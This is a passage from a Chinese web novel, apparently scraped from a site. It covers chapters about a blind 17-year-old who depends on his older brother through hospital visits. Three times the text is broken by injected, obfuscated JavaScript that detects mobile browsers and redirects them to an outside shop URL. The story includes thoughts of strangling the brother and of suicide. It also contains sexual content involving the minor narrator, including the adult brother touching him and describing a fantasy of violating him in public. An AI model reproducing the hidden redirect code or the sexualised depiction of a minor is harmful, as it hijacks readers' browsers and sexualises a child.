路迟“嗯”了一声,说:“明天早点起。” 滚烫的液体顺着我的脸颊滑下,我的听力瞬间放大数倍,我甚至清晰地听见了眼泪砸在地板上的声音。 “啪”得一声,我的心也裂开了。 我胡乱扔出去句气人的话,他就说我不是他亲弟弟。他很久以前就在祈祷了吧,祈祷有朝一日能脱离和我的血缘关系,彻底扔掉我这个拖油瓶。 我恨他,恨死了。 晚上路迟没回卧室睡,我等了许久,只等到了越来越冷的被窝,和渐渐颤抖起来的身体。 我想掐死他。这个念头冲昏了我的脑袋。 我摸索着走出房间,走到沙发前,可在听到路迟平稳呼吸的那一瞬,一切想法都消失了。 他要是死了我怎么办,我的灵魂又该飘向何处。 在几天后我再生无可恋地自杀吗? 然后和他在地狱里相见,接着互相折磨,永世不得超生。 15. 第 15 章 我是被撞醒的。脑袋上的疼痛感让我从喉咙中挤出道闷哼,我扶住脑袋,发现整个身体像被挂在秋千上似得正不间断地摇晃。 “抓这儿。”路迟的声音快速逼近,他抓着我的右手,牵引着我抓住一个凹槽。 刚睡醒的茫然感让我忘记了昨天的不愉快,下意识地哑声问了句:“我们在哪儿?” “车上。”路迟说:“还有一个小时到市里。” 我呆愣了足足半分钟,才反应过来路迟话里的意思。原来我们已经在去市区的车上了。 我的脸像被人重重打了一拳,僵硬得再也做不出任何表情。我沉默几秒后,将脑袋扭到与路迟反着的方向,低声问他:“你直接把我抱到车上来的?” 这问题完全没有任何意义,除了路迟还有谁会把我抱上来呢,我又不会在睡着的状态下梦游到车上。 可我还是想问。 “嗯。”路迟说:“你没睡几个小时,就没叫醒你。” “你怎么知道我睡了多久。”我下意识问。 路迟将车窗降下来些,簌簌冷风顺着窗缝挤进车内,我听见司机说:“最近天气真是闷得很。” 路迟没理他,直接回答了我的问题:“你昨晚跑到沙发旁边,蹲在地上睡着了,我看着你睡着的。” 原来当时他是醒着的。还好我没轻易动手选择掐死他,否则说不准我现在就不是在市区的车上,而是在通往死亡的棺材里了。 路迟肯定会抓住先机,先掐死我这个索命鬼的。 我“啊”了一声,不再说话了。 路迟又问:“饿不饿。” 他语气平平,话里没有任何情绪,仿佛只是为了避免狭小空间内陷入尴尬的死寂而选择机械性发问。尴尬的是,我的肚子“咕噜咕噜”叫了两声,那声音大的任何人都没法忽视。 我听见司机笑了两声,不知是不是在嘲笑我。 我觉得脸上烧得滚烫一片,整个人无地自容,简直想跳车逃跑。路迟却像没听见似得,依旧安静等待着我的答复。 我说:“饿。” “忍忍吧。”路迟说:“要抽血化验,没法吃东西,也不能喝水。” 我的羞耻感被新一轮的恼怒取而代之,我想都没想就问:“既然吃喝都不行,你还问我干什么?” 路迟嗤笑一声,不说话了。我突然懂了他的意思,他是想告诉我,一旦他停止了对我进行养分输送,我渴了饿了都要忍着,没人会再像他一样供着祖宗似得供着我。 他在威胁我吗。 我想不是的,他只是在平静含蓄地告诉我这个事实,并提醒我——你应该早些适应。 我将脑袋一歪,直接靠到了车门上,可剧烈的颠簸感将我架在不高不低的虚空中,随时可能到来的腾空感让我头晕目眩,一种强烈的反胃感瞬间涌上来。 我抓着凹槽的手愈发用力,可越用力就越容易滑手,在我脱手的一瞬,车辆行驶过一段极为凹凸不平的道路,我的屁股直接脱离了座椅,脑袋重重地撞到了前排靠背上。 “呃…..”我发出道短促的气声,紧接着就是阵撕心裂肺的反胃感,我的身体不受控制地开始痉挛,嘴巴大张着,但空空的胃根本没有任何东西能让我往外吐。 路迟及时叫停:“靠边停车。” 凛冽的风吹刮在我的脸上,我的脸皮又麻又痛,胃里的烧灼感更是剧烈,我已经很久没饿到这种地步过了。 饥饿感总是会唤醒人类心底最深处的恐惧感,我几乎放弃了抵抗,无力地伸出手去抓住路迟的胳膊,有气无力地说:”哥,我饿。” 这段抗争以我的示弱作为终点。 路迟却并不准备接受,他只是任由我抓着他,而非主动扶住我的身体。他说:“再忍忍,马上到了。” “你说还要一个小时。”我艰难地发出声音。 “嗯。”路迟丝毫不动摇:“再忍忍。” 我的情绪彻底压抑不住,直接大喊大叫起来:“路迟,我都跟你示弱了你还要怎样,我说我饿了,我不想看医生,不想去医院,我只想好好地吃一顿饭,然后回到家里躺进被窝,我想让你抱着我一起睡觉,我晚上会冷。” 路迟沉默几秒,周遭有些细碎的声音,此刻我才发现,原来旁边还有其他人。不知他们看到瞎子对亲哥吼叫的场景,是否会像我曾经路过肮脏丑陋的老乞丐面前一般,鄙夷地皱起眉头。 我不想知道。 路迟似乎叹了口气,他声音很低很低,低到我还没来得及听清,就被风吹散了,他又说:“还没到冬天呢。” 还没到冬天,怎么会冷呢。 还没到冬天你就觉得冷了,那真到冬天的时候,如果我不在你身边,你又该怎么办呢。 路迟说话留一半,我听懂了也能装不懂。我拙劣地扮着愚蠢,一字一顿道:“哥,看眼睛要花好多钱,我当个瞎子也没关系。” 我不敢想,如果我的眼睛真治好了,路迟是不是真的会抛弃我。 我觉得会的,毕竟他当时那样认真,他又从来都是说一不二。 我突然庆幸,还好我是个瞎子。 我看不见整个世界,看不见其他人异样的注视,更看不见路迟或嘲讽或不屑的表情,所以我只要深呼吸,就有足够的勇气把话接着说下去。 我不管不顾地往前方倾斜身体,根本不怕直接摔到地上,因为我知道路迟肯定会接住我。当我的额头靠到路迟的温暖的胸膛时,我抿唇笑了起来,小声地说:“哥,其实你没说梦话,是我瞎说的,你别生气了好不好,你这样子我好害怕,如果以后的人生没有你,那我活着还有什么意义。” “为什么没有。”路迟问。 我被噎了下。为什么没有呢。 当眼睛被治好,我看得见世界,摸得到其他人的温度,生活不止局限在以路迟为中心的空间内,我想做什么就做什么,哪怕我犯病了想去寻死都不会有人拦得住我。 这样完全自由的人生怎么会是没意义的呢。 但我想要的不是自由,是路迟。 从我瞎了眼开始,路迟就成了刻在我骨头上的烙印,即便治好了眼睛,路迟的名字还刻在我身上,只要我稍微停歇下来,转动眸子看向那块印记,就会想起路迟这个让我的生命充满变数的坎。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315049|198926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>我不想迈过这道坎。 我嚅嗫着嘴唇,说:“哥,没有你的人生就是没意义,没有为什么。” 这句话太过干瘪,我急切地想要寻找论据,但我的脑袋空空,腹中毫无墨水,绞尽脑汁也只能想到个毫不相干的爱情故事。于是我说:“就像罗密欧爱上朱丽叶一样,哥,我对你的感情是别人都没法比的,咱俩不能分开,咱俩要一辈子在一起。” 路迟的手指摸到了我的脸上。他的手指无比冰冷,冻得我哆嗦了下。 路迟只是说:“希望如此。” 他不信我,我该怎么让他相信我呢。 我还没想出答案,就听见路迟接着说:“路桉宁,如果我真就不是你哥,你还敢对我说出这种话吗。” 他怎么会不是我哥呢,他肯定还在生气。 我急切地表忠心:“就算你不是我哥,我也爱你,就算你不叫路迟,叫张三、叫李四,我也离不开你,哥,我不想治眼睛了,咱俩就这样互相拖累互相亏欠一辈子吧,我求你了哥,没了你我真的会死的。” 路迟揪住我的衣领,我怕他把我扔到一边就不管了,连忙拼命挣脱。路迟说:“往旁边站站,我抽根烟。” 我这才顺着他的力道挪动身体,几秒后,烟草味徐徐飘来,原本令我觉得无比厌烦的味道也变了样,我凑到风口上,嗅着那股独特的烟草味,仿佛只要能忍受这股气味,路迟就不会再说离开我的话了。 我渴望更深的羁绊,能彻底拴牢我俩。 路迟看着我却笑了,他说:“治眼睛要很久,长则三五年,最好的情况下,也要一年才能治好。” “时间太长了,我们不治了好不好。”我说。 路迟问我:“你还有没有出息了?” 我小声说:“没有。” 路迟是我唯一的亲人,连他都没了,我要出息还有什么用。 几秒无言,路迟说:“牵着我。” 我摸索到他摊在我面前的掌心,小心翼翼地将手掌搭上去,如此还不够,我生怕抓得不够紧,直接将自己的手指硬挤进他的指缝,十指相扣仍觉不满足。 爱人有结婚证来做保证,通过法律将彼此绑定在自己身边,那兄弟呢,为什么没有亲人证。户口本的作用太小,有朝一日我终究要将自己的名字迁到和路迟不同的本本上,它的约束力也太低,无法阻止路迟拥有其他更亲密的关系。 我想要的太多,所以常觉不公。 如果我再丢了舌头,失去说话的权利,老天爷是否就会怜悯我这个可怜蛋,将路迟永永远远、生生世世绑定到我的身上。 我将脸凑到路迟的小臂上轻轻压着,低声呢喃般问:“路迟,如果你真不是我哥,又怎么会对我这么好呢,这件事本来就不成立,你不要再说那些话了,我不想听。” 可当时的我不知道。 有些好是需要关系作基础才衍生出来的,有些好单纯是想因为两人相处太久、贴合太紧,很难再次抽离开,所以干脆在彼此的躯壳上生了根、发了芽。 直到无形的藤蔓将两人紧紧束缚,不觉窒息,反嫌不够紧密。 贪心啊。 16. 第 16 章 医院的检查很漫长,我不知晓其中门道,也没法察觉周围人的神情,并以此来判断自己的情况。我唯一能做的就是紧紧依附着路迟,攥紧他的手掌死不松开,这样才能让我在完全陌生的环境中获得一丝稀缺的安全感。 路迟始终陪在我身边,他同医生的谈话也完全没避着我,那些专业术语我听不懂,我只是一一辨别那些人说话的语气,试图从中寻找到先前到我家的那个男人的声音。 我怕他真跟路迟有什么多余的发展,也怕他抢走路迟,但还好,他没出现。 但一直紧绷着神经去辨别那些声音,也导致我根本没听清楚医生的话,只知道我现在的情况是“能治,但要花不少钱”,当然,医生没明说,这是我自己猜的。 路迟全程没什么多余的情绪,完全公事公办,一副“我有钱,我肯定会把我弟救到底”的架势,虽然看不见路迟,我也能感觉到,他这一刻一定抗着不小的压力。 按摩一次也就几十块钱,遇到个“大顾客”非要按全套,顶天也就才赚两百块。要多少个两百块才能凑够我的医药费呢? 我问路迟了,他说:“你不用知道。” “这是关于我的事,我凭什么不能知道。”我不满足于牵着他的手,双臂像紧紧缠绕的蛇般爬到他的小臂上,我的身体也紧贴着他,仿佛只要这样,我就能听到他内心哭泣的声音。 摊上我这么个弟弟,正常人都该哭吧。 路迟没哭。 他笑着伸手揉了揉我的脑袋,压低声音说:“小点儿声,你哥要面子,别让他们知道你哥是个破按摩师傅,什么两百块,以后出门咱都说两百万。” 两百万,我倒想说啊,但根本说不出口。 说一万块我脸都臊得慌,就像吃馒头长大的人非要扯着肚子上的赘肉说这都是山珍海味、龙虾鲍鱼一点点塞出来的。没底气啊。 但路迟这么说了,我只能把身体撑起来些,凑到他的耳边小声说:“哥,那咱俩偷偷讲,要多少钱能治好啊。” 我身体不稳,说话的时候嘴唇撞到路迟的耳朵上了,我觉得他应该不会嫌弃我,毕竟我说话又不乱喷口水。 路迟在三秒后才回答我:“没多少钱,就是治疗时间比较长。” “我不信。”我更小声地说。 路迟笑了,他怎么这么爱笑呢,都火烧屁股了,万一因为治我这个破眼睛,我俩要砸锅卖铁、穿着一身塑料破烂跪在大街上乞讨,天天睡大街,我看他还笑不笑得出来。 路迟笑了好久才说:“桉宝,哥的耳朵痒。” 好吧。 我不紧不慢地挪远了些,接着说:“现在呢,快告诉我,你快点儿把情况都交代清楚,我不就不在你耳朵边多废话了,你耳朵自然也不痒了。” 路迟扶着我的后背,估计是怕我摔倒了。他说:“真不贵,不信你去问医生,这种随便问一个人就能知道事实的事儿,哥有什么必要跟你撒谎,从小到大,你哥都没干过打肿脸充胖子的事儿,你放心,你哥是个自私自利的人,绝对不可能为了治你这天天惹我生气的坏孩子把自己弄成穷光蛋。” 这话我就不爱听了。 “什么叫绝不可能为了我?”我又凑近了,生气地想直接对着路迟的耳朵狠狠咬一口,把他咬成大聋子,让他这辈子只能跟着我这个小瞎子。 “那你还想为了谁?”我问。 路迟直接把我抱起来了。 比起突如其来的腾空感,在医院这种公共场合里像个小屁孩似得直接被人抱着走的羞耻感更让我感觉恐慌。我连忙说:“路迟你疯了,我自己能走。” 路迟直接把我的嘴捂住了:“公共场合,注意音量,有什么事等出去再说,桉宝乖。” 我被他后面那三个字弄得鸡皮疙瘩都起来了。 我小时候去小诊所里打针,看见那些一瞥见针管就疯狂嚎叫、要死要活地往家长怀里钻的小屁孩,我都要咧着嘴毫不避讳地嘲笑两句:“穿纸尿裤的娃娃仔。” 但现在,路迟居然把我变成这类往家长怀里钻的娃娃仔了。我完全忘了先前我死命抓着路迟手的模样,只知道路迟这样抱着我会让我没面子。 我不是七岁,我十七岁了。 路迟不给我挣扎的机会,等我重获自由时,街道的鸣笛声此起彼伏地往耳朵里钻。 大城市好吵,我想回农村。 我条件反射地抓紧路迟的手,语速飞快地说:“路迟,我大人不记小人过原谅你的错话,但你必须紧紧抓住我的手,我要是被车撞飞,你就是主谋,你要坐牢的你知道吗。” 路迟又笑起来没完。 我气愤地给了他一拳,但这一拳似乎并没有按照预期落到他的肚子上,而是….. 路迟闷哼了声。 我立马不敢动了。 不知过了多久,路迟才无奈地开口说:“桉宝,你要是不想让你哥结婚就直说,别这么来阴的。” 我尴尬地笑了两声:“哈哈,哥,我不是故意的,在大街上我怎么可能故意打你弟,怪丢脸的。” 好在路迟没多计较,他薅着我的衣领,给我拎到了医院旁边的餐馆。他直接给我报了遍菜单:“牛肉面,皮蛋瘦肉粥,小炒菜,馄炖…..你想吃哪个。” 他报了十来个菜名,我听得头晕晕的,缓了好一会儿,才压低声音问:“哪个便宜啊。” 路迟说:“价格都差不多,这家馆子不贵,可能是为了照顾医院里过来的人,你想吃哪个就直说,没必要为了省那三五块钱斤斤计较。” 我紧了紧牙关,想骂路迟。咱平常赚钱也不容易,怎么能到市里一趟就随便挥霍呢。 但想着旁边可能有别人在看,我也不好多说,只能在心里衡量了下,最终选了最简单的馄炖。 路迟就跟老板报了一碗馄炖。 我等了会儿,没等到路迟说他要吃的,只等到了老板那一句:“五十块钱,找你五块啊。” 什么馄炖一碗要四十五?! 我立马急了,抓着路迟说:“我不吃这个了,我要换一个。” 路迟却说:“钱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315050|198926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都给老板了,改不了了。” 我直接对着未知的方向,拔高嗓门喊了句:“老板,我不想吃馄炖了,能换吗。” 老板刚发出道气音,我猜测着应该是要说“能”,结果他停顿两秒后,只生硬地说了句:“换不了,已经在做了。” 我的心在滴血。 落了座,我立马挤着路迟,把嘴巴凑到他耳朵边骂:“路迟,你是败家子啊,吃四十五块钱一碗的馄炖。” “谁说四十五了?”路迟反问。 “我都听到了,老板说五十块找五块。” “那是老板跟别人说的,咱这碗馄炖十块钱,我给的整钱,刚刚好。” 我将信将疑,路迟又说了句:“四十五块钱的馄炖,除非他里面包的金子,不然你哥不会点的。” 我彻底信了,毕竟一碗馄炖四十五块太过匪夷所思,我觉得但凡这老板有点儿良心,都不会在医院旁边报这么高的价格,这纯纯是在吃钱啊。 我又问:“你怎么没给自己点东西。” “菜单照片上那碗馄炖挺大的,我怕你吃不完,等吃完这碗馄炖哥再点别的。”路迟语气轻飘飘的,没什么不对劲儿的地方。 “行吧。”我说。 等馄炖上来,路迟先喂了我一口。 干巴巴的,面皮厚,肉馅少,不好吃。 但我没说,只是我撑起笑脸说了句:“味道还不错。” 路迟也尝了一口,挑剔地说:“一般吧,你要是想吃馄炖,回去了哥给你包。” “我们啥时回去,下午吗?”我问。 “明天上午还要检查。”路迟说:“今晚在市区住,明晚我们再回家。” 我瞬间皱起眉头。 在市区住得多贵啊。 路迟接着说:“我定了个宾馆,五十块钱一晚,床有点儿小,但离医院近,明天你不用费劲巴力地起早,咱哥俩挤一挤,对付住一晚。” “行吧。”我张开嘴,吃了口馄炖。 我故意慢些咀嚼,想让路迟借着间隙多吃几口,我也确实听见了路迟咬住勺子和往下咽东西的声音。 最后,一碗馄炖刚刚好够我俩吃。 我数了下,我吃了十五个,路迟吃了二十个。这碗馄炖的量确实大,赶上县城两碗馄炖的量了,而且价格便宜得很。 我不明白怎么会这么实惠,但路迟说:“开在医院旁边,老板肯定要弄实惠些。” 我其实不太相信世界上存在不顾自身利益,只为别人考虑的人,毕竟好人没好报这个道理未必所有人都信,但它就像是个无法摆脱的诅咒,总能精准降临在每个有良心的好人身上。 因此,我见过的人里,有太多早就该街头横死的坏人,也有太多刚行善事,就因“积太多德而被压死”的好人。 其实,没有被德压死的人,只有被坏人逼到穷途末路的人。 但我希望路迟做个坏人。因为这样,他就不会成为浊世中清新脱俗的“异类”,不会被刻意针对。 他应该活久一点儿。 17. 第 17 章 医院里的消毒水味堵着我的鼻子,直到坐上了回程的车,这股令人作呕的味道仍未消散,我几乎整个身子都趴在路迟的身上,双腿蜷缩着却根本不怕它栽倒到座椅之间的缝隙里,因为路迟抓着我的小腿,像个花重金雇来的陪护,贴心尽职地照看着我。 我贪婪地吸取着路迟的气味,却发现他身上的味道也在慢慢消散,没辙了,我只能抓住路迟的手臂,将他的手罩到我的脸上。 “晕车了?”路迟问。 “没。”我没直接说清心中所想,而是含糊地说:“你的手暖和,我冻脸。” 路迟用手背贴了下我的脸颊,说:“挺热的啊,怎么会冻脸呢。” “你别管。”我闷声说。 我俩一直维持着这样的姿势,直到车停到服务区,路迟说:“走,下去上厕所。” 我感受了下,确实该上了。但在家里我还能自己上厕所,在小旅馆虽说走路不方便,路迟也能给我扶到马桶上,让我坐着上厕所,可服务区里的厕所环境就没那么好了。 尿骚味扑鼻,更重要的是,路迟说:“里面都是蹲便,你容易踩空,我跟你一起进去。” 我瞬间想到,一个个厕所小隔间里,我和路迟两个男人挤在同一片狭小空间里上厕所。但其实这也没什么,我全身上下路迟都看过了,我俩还都是男人,没什么不同的。 但厕所里还有别人,这就让我觉得很羞耻。我故意走路走得东倒西歪,没扶着路迟的左手还在空中胡乱挥舞,做出摸索的动作,生怕别人看不出我是个瞎子,我还故意拔高声音说:“哥,到了吗。” 路迟就是我肚子里的蛔虫,我想什么他都能第一时间猜到。他笑着一遍遍应声:“还差些距离,你慢点儿走,跟着我的力道走。” 终于进了隔间,随着门锁声清脆地响起,我着急忙慌地解开裤子,生怕待得久了让人多想。我把裤子解开后,路迟从背后揽住我,挤着我的身体往前又走了一小步,他低声说:“就站这儿,别再往前。” 我控制不住撒尿的冲动,但在外面这种陌生的环境里,像个傀儡娃娃似得被路迟掌控着,连撒尿都要依靠他,我的心跳有些不受控制地加快,就好像我正在背着别人做什么有违伦理道德的事。 撒完尿,我连忙系上裤子,说:“出去吧哥。” “我也要上厕所。”路迟说:“你站那儿别动。” 我等不及了:“那我出去等你吧。” 路迟没回我,我只听见了道水流声。 我强忍着心跳要从胸膛下冲出的感觉,度秒如年地等待着,水流声一消失,我立马扯着嗓子说:“哥,这厕所和家里的公厕是不是不一样啊,虽然我看不见,但也能感觉到它好像空间更大。” 路迟笑了。他也学着我的模样,凑到我耳边小声说:“你怕别人以为咱俩在里面干坏事儿?” “哪有。”经过上次提基佬那档子事被路迟狠狠地修理了一番,我再也不敢提类似的龃龉了,只能说:“我单纯有感而发。” 路迟显然没信,他推开门,拉着我往外走,牵着我的手给我把手仔细洗了一遍。旁边还有其他人洗手的声响,我全程不敢多说话,僵硬地像个木头,路迟问我:“你知道你现在像什么吗。” “什么?”我下意识问。 “鸵鸟,你和鸵鸟都在拼命把脖子拉长。”路迟说。 “放屁,鸵鸟太丑了。”我说:“我怎么也该像狮子老虎这一类的猛兽。” “辛巴?”路迟笑着说。 我撅撅嘴,过了几秒才说:“太多人想当辛巴了,我要换一个。” “哪个?”路迟问。 我思忖数秒也没想出个所以然,毕竟我和大多数人一样,只记得个狮子王辛巴。所以我只能说:“这么深奥的话题等以后再说,现在我俩能不能赶紧走,厕所里面味道好重。” 路迟领着我出去了,接触到新鲜空气的一瞬,我猛地深吸了口气,才如释重负地说:“在陌生的地方就是麻烦,撒个尿还要俩人挤在一起。” “不想和我一起挤着吗。” “我可没有。”我发现路迟有时候就像傻逼,总喜欢曲解我的意思,但傻逼有傻逼的好处,至少这些无中生有、胡乱挑刺的话落进耳朵里会让我觉得很开心。这证明路迟是想和我挤在一起的,他不嫌弃我。 路迟点了支烟,但从始至终,他的右手都牢牢地牵着我,像根牢固的绳索紧紧地将我拴在他身上。 烟草味飘过来,我抬起手随便挥了两下,但味道没有丝毫变淡,反而更加呛人,侵略性十足地往我鼻腔里钻。 我实在不理解烟有什么好抽的,小时候在我眼里来看,烟是成熟男人的象征,那些邻里叔伯有事没事的时候手里都夹着根烟,偶尔抽一口,但大部分都在燃烧后飘散到了空气中,被不知名的路人吸走。 所以当时碰见他们抽烟,即便我被熏得整个人都喘不过气,喉咙发痛发紧,也要死死憋着口气,强制自己忍住咳嗽的冲动,并在心里不断告诉自己:等你以后变成男人了,也要学会抽烟,现在应该尽早喜欢烟草味。 但后来,偷偷抽烟被猛呛了口,我就知道什么成熟男人的标志都是狗屁,烟顺着嗓子进到身体里,火辣辣的疼就像有人用烧火棍往我嗓子里捅,我这辈子是不打算抽烟了。 但路迟烟瘾不小,偶尔陪着他吸烟时,我会在脑海里勾勒路迟吸烟的模样,不得不承认,那幅画面确实让人忍不住称赞一句——帅得发疯。 我总是庆幸,还好路迟是我哥,否则这样一个男人站在我面前轻而易举地吸引走旁人仰慕的视线,将我衬托成个无人理会的小可怜,我怕是要嫉妒得发疯。 但他是我哥,当所有人都将视线投向他时,就会发现他眼里只有我这个一无是处的瞎子弟弟。心底原本不平衡的天平瞬间发生了倾斜,我不愿意承认,但这就是事实,拥有路迟比拥有什么都让我觉得幸福。 “烟到底有什么好抽的?”我尝试插入,打断路迟沉默着吸烟的状态。 路迟说:“…..没什么好抽的,又苦又涩。” “那你为什么要抽?”我又问。 “因为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17315051|198926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 装逼。”路迟说:“人家看你站在一边抽烟,以为你是有什么烦恼的忧郁大帅哥,但你要是抓着根棒棒糖站在道边,人家都觉得你是个不成熟的屌丝。” “那我要是什么都没拿呢。” “嗯…..”路迟似乎在打量我,最终他说:“你这样挺可爱的,像个呆呆的高中生。” “什么叫呆?”我抽出手,像个流氓似得又快又准地拍了下路迟的屁股,而后更快地把手重新塞回了他的掌心,依旧十指相扣。 “你说错话了,这是罚你的。” “惩罚是打屁股?”路迟说:“路桉宁,你真是不学好,现在都开始瞄准我的屁股了。” 不得不说,路迟屁股的手感真不错,可惜我没有太长的时间能用来回味,只能浅尝辄止,意犹未尽地说:“你也总打我屁股,我打你怎么了?” 路迟说:“…..没怎么,只不过还有点儿不习惯。” “不习惯什么?” 路迟趴到我耳边说:“被弟弟教训的滋味。” 我没听出他语气中隐藏的兴奋,还以为他是在夸我打他这一下的力道刚刚好,疼痛度并没有太过,刚好达到“教训”的程度。 我得了点儿颜色就想开染坊,立马倨傲地说:“怕了吧,以后要是不想被打,就多对我好,多听我的话,听见没…..” 我快速翻了下脑袋里的全部词汇,最终拼凑出个还算凑合的词,便直接甩出来用到路迟身上:“路初犯?” “路初犯?”路迟抽完烟,牵着我往前走,边走他边说:“桉宝,你造词的能力真该提升提升了。” “我有什么办法,我上学的时候就是个半吊子,现在不上学了更是直接成了文盲。”我怕路迟再提送我去上学的事儿,毕竟家里的钱有限,总不能都花到我身上,便语速飞快地接上一句:“你要是有能耐,你就去上学,然后你当老师来教我啊。” “哥又不是老师…..”他话还没说完,我就直接打断他:“你现在不是,但你以后可以是啊,别的老师都嫌我蠢,我现在又成了个瞎子,到时候被人家欺负都没法反击,路迟,你忍心看着你的可爱弟弟送上门去给人家当口水桶吗?” 路迟不说话了。 我乘胜追击:“路老师,我求求你了路老师,除了你还有谁能忍得了我这个性格呢?” 路迟叹了口气,他把我塞进车里,等他坐进来后,随着关门声一同响起的是我趴在他腿上时“哎呀”的那一声。 我用脸蹭他的肚子,嘀嘀咕咕地说:“上学好累呀,我想在家里上学,我想让你教我,行不行啊路迟,行不行啊哥,我求你了,我真求你了。” 路迟迟迟没有声音,但突然,他把我直接揪了起来,我差点没反应过来,直接脱口而出一句:“你干什么。” 路迟抓着我的手有些用力,良久,他才凑过来,特别小声地说了句:“路桉宁,你故意想让你哥难堪是吧,非要往那儿蹭。” 我瞬间反应过来。 他硬了。 我笑得停不下来,路迟气得直掐我脸。 18. 第 19 章 自从路迟说了那种话后,我每次感知到他的靠近时,总是会不受控制地变得僵硬起来,但这并不是因为我怕路迟又猝不及防地抓住我的小弟,而是因为我控制不住自己的脑子。 幻想越来越过分,我不仅开始好奇路迟如今的长相,还开始好奇他的身体。 我真是他妈的鬼上身了。 午夜梦回,我也会突然惊醒,听着身旁那平稳的呼吸声,我会缓慢地将自己挪远,防止自己在不经意间触碰到路迟的身体。可等到早上,我再次惊醒时,就会发现自己整个人都缩在路迟的怀里。 我根本无法摆脱自己对他的依赖。 这是我哥,我离不了他,这是我哥,我不应该有那些遐想。但我真的不知道该如何解决了,路迟也看出来了,他明显没再过度地靠近我。 往常他拥着我时的怀抱是紧密的,是没有任何一丝缝隙的,但现在,我们之间隔着一段狭短的距离,胸膛不再贴着胸膛,心跳也不再呼应心跳,两人之间像是隔着层看不见的冷墙。 我不敢越过,路迟便沉默地保持着。 最终,还是我忍受不了这种诡异的相处模式和略显尴尬的氛围,在吃完饭后,路迟准备去洗碗时,我犹豫着开口叫他:“…..哥。” 路迟的脚步停住了,我听得很清楚,从未如此清楚过。我却过了足足半分钟,才说出下一句话:“你上次说的话是什么意思啊。” “哪个话?”路迟似乎已经忘了。 我咬了咬嘴唇,提醒他说:“就那句…..你说要帮我解决需求…..别的兄弟之间也是这样吗?” 路迟轻笑了声,他说:“别的兄弟之间说过什么我怎么清楚,我只知道我对你说过。” 他语气自然,似乎深陷羞耻之中的只有我。 这样反倒让我不好意思接着说了。 在几秒寂静后,路迟主动开口说:“你是觉得我不应该说那话吗,我也觉得,上次是我冲动了,你就当哥从来没说过,直接忘了吧。” 我连忙开口说:“我不是这个意思!” “那是什么?”他问。 我在心底组织了会儿语言,才说:“…..哥,我就是觉得我现在怪怪的,自从你上次说了那种话之后,我满脑子都是…..你的身体,我甚至还能想象到你帮我…..解决需求的画面,好奇怪啊,我怎么能把你当成幻想对象呢,这是不对的,但我又控制不住,哥,你能不能问问别的瞎子,是不是也会把身边的亲人当成幻想对象啊,我现在好不自在。” 我的声音越来越低,后面半句话与其说是直白请求,不如说是喃喃自语,我甚至不确定路迟是否听清了。 路迟听清了,不仅如此,他还放下了碗碟,走到了我的身边,他一句话都没说,直接抓起我的手放到他的裆部。 “你想过你哥的这儿吗。”他问。 我的手根本不敢动,明明以前开玩笑的时候我也故意抓过我哥那儿,说要给它扯掉了,让他这辈子都没法幸福。 但现在,一切都变了。 想过吗? 肯定想过。 但我到底要不要实话实说。 犹豫良久,我才低声说:“…..想过。” “那你现在有什么感觉?”路迟又问。 我觉得他现在这模样就像在逼良为娼,正抓着我这个良民,逼问我要不要从了他,这让我有些后悔主动提起这个话题了。 “…..没什么感觉。”我怕他觉得我撒谎,顿了顿,又补充了句:“有点儿软。” 路迟大笑出声,他终于松开了抓着我的手,说:“桉宝,你现在这个年纪有幻想是正常的,更何况你根本没法彻底舒缓。” “你十七岁的时候也是这样吗?”我问。 路迟直截了当地说:“你哥比你还疯狂,幻想过很多不该有的画面,毕竟人只要繁衍的,容易被欲望控制住很正常,要是一点儿感觉都没有,哥反倒要带你去看医生,确认一下你是不是阳.痿了。” “不该有的画面,比如呢?”我刨根问底,试图通过了解路迟被欲望操控时失控的表现来为自己辩解,证明自己现在的一切幻想都是正常的。 路迟拉开凳子坐下了,他牵着我的手一点点地缓慢挪动,时间过得极其漫长,我的心高悬着似乎停止了跳动,直到湿漉柔软的舌头飞快地舔舐了下我的掌心,我才彻底反应过来,我的心脏不是不跳了,是跳动得太快,导致我像过电了般失去了感知。 路迟舔了我的掌心。 他沉声说:“我幻想过操.死我那个不听话、只会唱反调,却能够轻而易举获得所有人关注的弟弟,我想把他拖到人最多的地方,让他在那种地方尖叫、颤抖、低声下气地求饶。” 我的身体哆嗦了下。我完全没料想过,路迟的幻想对象居然会是我。 但也在此刻,我的内心突然升腾起一种难以言喻的兴奋,原来不止我会变得奇怪,路迟比我还要怪。他越怪,反倒显得我越正常。 或许我变成现在这样并非因为我是个变态,而是因为我和路迟这个变态朝夕相处,才变得越来越像他,才会偶尔变得不像正常人。 这不是我的错,是路迟的错。 